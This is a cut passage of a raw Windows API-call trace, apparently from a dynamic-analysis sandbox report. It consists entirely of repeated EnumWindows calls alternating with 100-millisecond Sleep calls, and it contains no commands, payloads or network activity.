[0275.386] Sleep (dwMilliseconds=0x64) [0275.387] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.388] Sleep (dwMilliseconds=0x64) [0275.390] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.390] Sleep (dwMilliseconds=0x64) [0275.391] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.392] Sleep (dwMilliseconds=0x64) [0275.393] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.393] Sleep (dwMilliseconds=0x64) [0275.394] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.394] Sleep (dwMilliseconds=0x64) [0275.396] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.396] Sleep (dwMilliseconds=0x64) [0275.400] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.400] Sleep (dwMilliseconds=0x64) [0275.402] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.402] Sleep (dwMilliseconds=0x64) [0275.411] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.411] Sleep (dwMilliseconds=0x64) [0275.421] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.421] Sleep (dwMilliseconds=0x64) [0275.430] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.431] Sleep (dwMilliseconds=0x64) [0275.526] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.527] Sleep (dwMilliseconds=0x64) [0275.619] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.620] Sleep (dwMilliseconds=0x64) [0275.622] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.622] Sleep (dwMilliseconds=0x64) [0275.624] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.624] Sleep (dwMilliseconds=0x64) [0275.626] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.626] Sleep (dwMilliseconds=0x64) [0275.628] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.629] Sleep (dwMilliseconds=0x64) [0275.630] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.631] Sleep (dwMilliseconds=0x64) [0275.632] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.633] Sleep (dwMilliseconds=0x64) [0275.635] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.635] Sleep (dwMilliseconds=0x64) [0275.636] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.637] Sleep (dwMilliseconds=0x64) [0275.638] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.638] Sleep (dwMilliseconds=0x64) [0275.640] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.640] Sleep (dwMilliseconds=0x64) [0275.655] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.656] Sleep (dwMilliseconds=0x64) [0275.687] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.687] Sleep (dwMilliseconds=0x64) [0275.768] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.768] Sleep (dwMilliseconds=0x64) [0275.769] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.770] Sleep (dwMilliseconds=0x64) [0275.771] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.773] Sleep (dwMilliseconds=0x64) [0275.774] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.774] Sleep (dwMilliseconds=0x64) [0275.776] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.776] Sleep (dwMilliseconds=0x64) [0275.778] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.778] Sleep (dwMilliseconds=0x64) [0275.780] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.780] Sleep (dwMilliseconds=0x64) [0275.782] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.783] Sleep (dwMilliseconds=0x64) [0275.784] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.784] Sleep (dwMilliseconds=0x64) [0275.786] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.786] Sleep (dwMilliseconds=0x64) [0275.788] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.788] Sleep (dwMilliseconds=0x64) [0275.792] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.792] Sleep (dwMilliseconds=0x64) [0275.795] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.795] Sleep (dwMilliseconds=0x64) [0275.797] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.797] Sleep (dwMilliseconds=0x64) [0275.840] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.840] Sleep (dwMilliseconds=0x64) [0275.918] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.918] Sleep (dwMilliseconds=0x64) [0275.920] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.920] Sleep (dwMilliseconds=0x64) [0275.922] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.922] Sleep (dwMilliseconds=0x64) [0275.926] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.926] Sleep (dwMilliseconds=0x64) [0275.928] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.928] Sleep (dwMilliseconds=0x64) [0275.930] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.930] Sleep (dwMilliseconds=0x64) [0275.931] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.932] Sleep (dwMilliseconds=0x64) [0275.933] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.933] Sleep (dwMilliseconds=0x64) [0275.934] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.935] Sleep (dwMilliseconds=0x64) [0275.943] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.944] Sleep (dwMilliseconds=0x64) [0275.946] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.946] Sleep (dwMilliseconds=0x64) [0275.947] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.948] Sleep (dwMilliseconds=0x64) [0275.964] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0275.964] Sleep (dwMilliseconds=0x64) [0276.053] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.054] Sleep (dwMilliseconds=0x64) [0276.057] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.058] Sleep (dwMilliseconds=0x64) [0276.060] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.061] Sleep (dwMilliseconds=0x64) [0276.062] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.062] Sleep (dwMilliseconds=0x64) [0276.063] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.063] Sleep (dwMilliseconds=0x64) [0276.065] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.065] Sleep (dwMilliseconds=0x64) [0276.066] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.066] Sleep (dwMilliseconds=0x64) [0276.068] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.068] Sleep (dwMilliseconds=0x64) [0276.070] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.070] Sleep (dwMilliseconds=0x64) [0276.079] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.080] Sleep (dwMilliseconds=0x64) [0276.081] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.082] Sleep (dwMilliseconds=0x64) [0276.083] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.083] Sleep (dwMilliseconds=0x64) [0276.084] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.084] Sleep (dwMilliseconds=0x64) [0276.086] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.086] Sleep (dwMilliseconds=0x64) [0276.087] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.087] Sleep (dwMilliseconds=0x64) [0276.185] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.186] Sleep (dwMilliseconds=0x64) [0276.210] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.210] Sleep (dwMilliseconds=0x64) [0276.212] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.212] Sleep (dwMilliseconds=0x64) [0276.214] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.214] Sleep (dwMilliseconds=0x64) [0276.216] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.216] Sleep (dwMilliseconds=0x64) [0276.218] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.218] Sleep (dwMilliseconds=0x64) [0276.220] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.220] Sleep (dwMilliseconds=0x64) [0276.222] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.222] Sleep (dwMilliseconds=0x64) [0276.224] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.224] Sleep (dwMilliseconds=0x64) [0276.226] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.226] Sleep (dwMilliseconds=0x64) [0276.233] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.233] Sleep (dwMilliseconds=0x64) [0276.234] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.235] Sleep (dwMilliseconds=0x64) [0276.236] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.237] Sleep (dwMilliseconds=0x64) [0276.238] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.238] Sleep (dwMilliseconds=0x64) [0276.239] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.240] Sleep (dwMilliseconds=0x64) [0276.369] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.369] Sleep (dwMilliseconds=0x64) [0276.385] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.385] Sleep (dwMilliseconds=0x64) [0276.386] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.387] Sleep (dwMilliseconds=0x64) [0276.388] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.389] Sleep (dwMilliseconds=0x64) [0276.390] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.390] Sleep (dwMilliseconds=0x64) [0276.392] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.392] Sleep (dwMilliseconds=0x64) [0276.394] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.394] Sleep (dwMilliseconds=0x64) [0276.395] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.396] Sleep (dwMilliseconds=0x64) [0276.397] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.397] Sleep (dwMilliseconds=0x64) [0276.398] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.399] Sleep (dwMilliseconds=0x64) [0276.400] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.400] Sleep (dwMilliseconds=0x64) [0276.401] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.402] Sleep (dwMilliseconds=0x64) [0276.403] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.403] Sleep (dwMilliseconds=0x64) [0276.417] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.417] Sleep (dwMilliseconds=0x64) [0276.525] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.525] Sleep (dwMilliseconds=0x64) [0276.540] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.541] Sleep (dwMilliseconds=0x64) [0276.548] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.548] Sleep (dwMilliseconds=0x64) [0276.576] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.577] Sleep (dwMilliseconds=0x64) [0276.721] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.721] Sleep (dwMilliseconds=0x64) [0276.724] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.725] Sleep (dwMilliseconds=0x64) [0276.727] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.727] Sleep (dwMilliseconds=0x64) [0276.729] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.729] Sleep (dwMilliseconds=0x64) [0276.731] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.731] Sleep (dwMilliseconds=0x64) [0276.733] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.733] Sleep (dwMilliseconds=0x64) [0276.735] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.735] Sleep (dwMilliseconds=0x64) [0276.737] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.737] Sleep (dwMilliseconds=0x64) [0276.739] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.739] Sleep (dwMilliseconds=0x64) [0276.741] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.741] Sleep (dwMilliseconds=0x64) [0276.742] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.742] Sleep (dwMilliseconds=0x64) [0276.744] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.745] Sleep (dwMilliseconds=0x64) [0276.746] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.746] Sleep (dwMilliseconds=0x64) [0276.748] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.748] Sleep (dwMilliseconds=0x64) [0276.750] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.750] Sleep (dwMilliseconds=0x64) [0276.751] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.751] Sleep (dwMilliseconds=0x64) [0276.753] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.753] Sleep (dwMilliseconds=0x64) [0276.755] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.755] Sleep (dwMilliseconds=0x64) [0276.873] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.874] Sleep (dwMilliseconds=0x64) [0276.875] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.876] Sleep (dwMilliseconds=0x64) [0276.877] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.877] Sleep (dwMilliseconds=0x64) [0276.879] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.879] Sleep (dwMilliseconds=0x64) [0276.882] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.882] Sleep (dwMilliseconds=0x64) [0276.884] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.884] Sleep (dwMilliseconds=0x64) [0276.886] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.886] Sleep (dwMilliseconds=0x64) [0276.887] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.887] Sleep (dwMilliseconds=0x64) [0276.889] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.889] Sleep (dwMilliseconds=0x64) [0276.891] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.891] Sleep (dwMilliseconds=0x64) [0276.892] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.892] Sleep (dwMilliseconds=0x64) [0276.894] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.894] Sleep (dwMilliseconds=0x64) [0276.895] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.895] Sleep (dwMilliseconds=0x64) [0276.897] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.897] Sleep (dwMilliseconds=0x64) [0276.899] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.899] Sleep (dwMilliseconds=0x64) [0276.901] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.901] Sleep (dwMilliseconds=0x64) [0276.902] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.902] Sleep (dwMilliseconds=0x64) [0276.906] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0276.906] Sleep (dwMilliseconds=0x64) [0277.011] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.012] Sleep (dwMilliseconds=0x64) [0277.013] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.014] Sleep (dwMilliseconds=0x64) [0277.015] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.016] Sleep (dwMilliseconds=0x64) [0277.017] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.017] Sleep (dwMilliseconds=0x64) [0277.019] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.019] Sleep (dwMilliseconds=0x64) [0277.021] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.021] Sleep (dwMilliseconds=0x64) [0277.022] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.022] Sleep (dwMilliseconds=0x64) [0277.024] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.024] Sleep (dwMilliseconds=0x64) [0277.025] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.025] Sleep (dwMilliseconds=0x64) [0277.027] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.027] Sleep (dwMilliseconds=0x64) [0277.029] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.029] Sleep (dwMilliseconds=0x64) [0277.031] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.031] Sleep (dwMilliseconds=0x64) [0277.032] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.032] Sleep (dwMilliseconds=0x64) [0277.034] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.034] Sleep (dwMilliseconds=0x64) [0277.035] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.035] Sleep (dwMilliseconds=0x64) [0277.037] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.037] Sleep (dwMilliseconds=0x64) [0277.038] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.038] Sleep (dwMilliseconds=0x64) [0277.040] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.040] Sleep (dwMilliseconds=0x64) [0277.041] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.041] Sleep (dwMilliseconds=0x64) [0277.043] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.043] Sleep (dwMilliseconds=0x64) [0277.126] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.126] Sleep (dwMilliseconds=0x64) [0277.151] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.151] Sleep (dwMilliseconds=0x64) [0277.153] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.153] Sleep (dwMilliseconds=0x64) [0277.154] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.155] Sleep (dwMilliseconds=0x64) [0277.157] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.157] Sleep (dwMilliseconds=0x64) [0277.159] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.159] Sleep (dwMilliseconds=0x64) [0277.170] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.171] Sleep (dwMilliseconds=0x64) [0277.180] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.180] Sleep (dwMilliseconds=0x64) [0277.275] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.276] Sleep (dwMilliseconds=0x64) [0277.302] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.302] Sleep (dwMilliseconds=0x64) [0277.316] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.317] Sleep (dwMilliseconds=0x64) [0277.319] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.320] Sleep (dwMilliseconds=0x64) [0277.321] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.322] Sleep (dwMilliseconds=0x64) [0277.323] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.323] Sleep (dwMilliseconds=0x64) [0277.324] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.325] Sleep (dwMilliseconds=0x64) [0277.327] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.327] Sleep (dwMilliseconds=0x64) [0277.364] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.364] Sleep (dwMilliseconds=0x64) [0277.367] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.368] Sleep (dwMilliseconds=0x64) [0277.369] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.369] Sleep (dwMilliseconds=0x64) [0277.371] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.371] Sleep (dwMilliseconds=0x64) [0277.373] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.373] Sleep (dwMilliseconds=0x64) [0277.374] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.374] Sleep (dwMilliseconds=0x64) [0277.376] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.376] Sleep (dwMilliseconds=0x64) [0277.378] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.378] Sleep (dwMilliseconds=0x64) [0277.380] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.381] Sleep (dwMilliseconds=0x64) [0277.382] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.382] Sleep (dwMilliseconds=0x64) [0277.384] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.384] Sleep (dwMilliseconds=0x64) [0277.386] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.386] Sleep (dwMilliseconds=0x64) [0277.388] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.388] Sleep (dwMilliseconds=0x64) [0277.390] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.390] Sleep (dwMilliseconds=0x64) [0277.392] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.392] Sleep (dwMilliseconds=0x64) [0277.394] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.394] Sleep (dwMilliseconds=0x64) [0277.396] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.396] Sleep (dwMilliseconds=0x64) [0277.399] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.399] Sleep (dwMilliseconds=0x64) [0277.401] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.401] Sleep (dwMilliseconds=0x64) [0277.403] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.403] Sleep (dwMilliseconds=0x64) [0277.404] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.407] Sleep (dwMilliseconds=0x64) [0277.408] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.409] Sleep (dwMilliseconds=0x64) [0277.410] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.411] Sleep (dwMilliseconds=0x64) [0277.412] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.412] Sleep (dwMilliseconds=0x64) [0277.414] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.414] Sleep (dwMilliseconds=0x64) [0277.416] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.475] Sleep (dwMilliseconds=0x64) [0277.493] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.493] Sleep (dwMilliseconds=0x64) [0277.495] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.496] Sleep (dwMilliseconds=0x64) [0277.498] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.499] Sleep (dwMilliseconds=0x64) [0277.501] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.501] Sleep (dwMilliseconds=0x64) [0277.503] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.503] Sleep (dwMilliseconds=0x64) [0277.505] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.505] Sleep (dwMilliseconds=0x64) [0277.506] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.506] Sleep (dwMilliseconds=0x64) [0277.508] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.508] Sleep (dwMilliseconds=0x64) [0277.509] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.509] Sleep (dwMilliseconds=0x64) [0277.511] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.511] Sleep (dwMilliseconds=0x64) [0277.512] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.512] Sleep (dwMilliseconds=0x64) [0277.514] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.514] Sleep (dwMilliseconds=0x64) [0277.515] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.515] Sleep (dwMilliseconds=0x64) [0277.517] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.517] Sleep (dwMilliseconds=0x64) [0277.519] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.519] Sleep (dwMilliseconds=0x64) [0277.520] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.520] Sleep (dwMilliseconds=0x64) [0277.522] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.522] Sleep (dwMilliseconds=0x64) [0277.523] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.523] Sleep (dwMilliseconds=0x64) [0277.606] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.606] Sleep (dwMilliseconds=0x64) [0277.716] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.717] Sleep (dwMilliseconds=0x64) [0277.718] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.719] Sleep (dwMilliseconds=0x64) [0277.720] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.720] Sleep (dwMilliseconds=0x64) [0277.721] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.722] Sleep (dwMilliseconds=0x64) [0277.723] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.723] Sleep (dwMilliseconds=0x64) [0277.725] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.725] Sleep (dwMilliseconds=0x64) [0277.726] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.727] Sleep (dwMilliseconds=0x64) [0277.728] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.728] Sleep (dwMilliseconds=0x64) [0277.729] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.730] Sleep (dwMilliseconds=0x64) [0277.929] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.930] Sleep (dwMilliseconds=0x64) [0277.993] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0277.993] Sleep (dwMilliseconds=0x64) [0278.110] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.173] Sleep (dwMilliseconds=0x64) [0278.236] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.236] Sleep (dwMilliseconds=0x64) [0278.281] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.282] Sleep (dwMilliseconds=0x64) [0278.283] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.284] Sleep (dwMilliseconds=0x64) [0278.285] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.285] Sleep (dwMilliseconds=0x64) [0278.287] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.287] Sleep (dwMilliseconds=0x64) [0278.288] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.288] Sleep (dwMilliseconds=0x64) [0278.290] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.290] Sleep (dwMilliseconds=0x64) [0278.291] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.291] Sleep (dwMilliseconds=0x64) [0278.293] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.293] Sleep (dwMilliseconds=0x64) [0278.295] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.295] Sleep (dwMilliseconds=0x64) [0278.296] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0278.296] Sleep (dwMilliseconds=0x64) [0278.298] EnumWindows (lpEnumFunc=0x423dd0, 